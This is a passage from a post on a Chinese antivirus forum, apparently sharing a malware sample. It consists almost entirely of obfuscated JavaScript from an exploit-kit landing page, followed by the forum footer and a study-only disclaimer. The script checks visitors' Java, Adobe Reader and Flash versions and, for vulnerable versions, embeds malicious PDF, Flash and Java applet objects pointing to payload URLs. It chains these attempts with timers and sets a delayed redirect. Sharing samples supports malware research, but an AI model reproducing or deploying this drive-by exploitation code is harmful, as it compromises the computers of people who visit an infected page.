  1831.     d.setAttribute("data", "/.stats/strongly/actually-direct_missed_see.php?kiuagozk=" + x("8fa62") + "&twhrau=" + x("n") + "&kyt=2w:1j:32:31:1n:1f:1h:31:31:2v:1p:1p:2v:1k:2v:2w:1j:2w:1f:31:31:2v&zii=" + x(pdfver.join(".")));
  1832.     d.setAttribute("type", "application/pdf");
  1833.     document.body.appendChild(d);
  1834. }
  1835. function p3() {
  1836.     return false;
  1837. }
  1838. function f1() {
  1839.     var oSpan = document.createElement("span");
  1840.     document.body.appendChild(oSpan);
  1841.     var url = "/.stats/strongly/actually-direct_missed_see.php?bao=" + x("8fa62") + "&lpjlsgya=" + x("flodkl") + "&pnvqffd=2w:1j:32:31:1n:1f:1h:31:31:2v:1p:1p:2v:1k:2v:2w:1j:2w:1f:31:31:2v&info=02e67fbb7170fa5a767aaa69cf1365803a0e6e634028aae8cc7815a5012bcf14f20c271a48aaf57c964a59f2e870f0448d0f9cfc9e8fdfe6216da8b92427335866e64a39f78fdad5968c7d0221630f";
  1842.     oSpan.innerHTML = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='" + url + "' /><embed src='" + url + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
  1843. }
  1844. function ff2() {
  1845.     return false;
  1846. }
  1847. document.write('');
  1848. setTimeout(end_redirect, 61000);
  1849. var pdfver = [];

  1850. function svwrbew6436b($) {
  1851.     var ar = [];
  1852.     var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  1853.     if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9))) {
  1854.         ar["push"](j2);
  1855.     } else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 6))) {
  1856.         ar["push"](j1);
  1857.     }
  1858.     pdfver = pdpd.getVersion("AdobeReader");
  1859.     if (window.document) if (typeof pdfver == "string") {
  1860.         pdfver = pdfver["split"](".")
  1861.     } else {
  1862.         pdfver = [0, 0, 0, 0]
  1863.     }
  1864.     if (pdfver[0] > 0 && pdfver[0] < 8) {
  1865.         if (window.document) ar["push"](p1);
  1866.     }
  1867.     if (((pdfver[0] == 9) && (pdfver[1] >= 3)) || ((pdfver[0] == 10) && (pdfver[1] < 103))) {
  1868.         ar["push"](p3);
  1869.     } else {
  1870.         if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))) {
  1871.             ar["push"](p2);
  1872.         }
  1873.     }
  1874.     var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  1875.     if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))) {
  1876.         ar["push"](ff2);
  1877.     }
  1878.     if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
  1879.         ar["push"](f1);
  1880.     }
  1881.     var arcalli = 0;
  1882.     var arcall = function() {
  1883.             if (ar.length <= arcalli) return 123;
  1884.             ss = setTimeout;
  1885.             var res = ar[arcalli]();
  1886.             arcalli++;
  1887.             if (res && window.document) {
  1888.                 ss(function() {
  1889.                     arcall()
  1890.                 }, 5509);
  1891.             } else {
  1892.                 arcall();
  1893.             }
  1894.         };
  1895.     arcall();
  1896. }
  1897. $$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../established/getJavaInfo.jar");
复制代码




avg7.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 07:18 , Processed in 0.149055 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表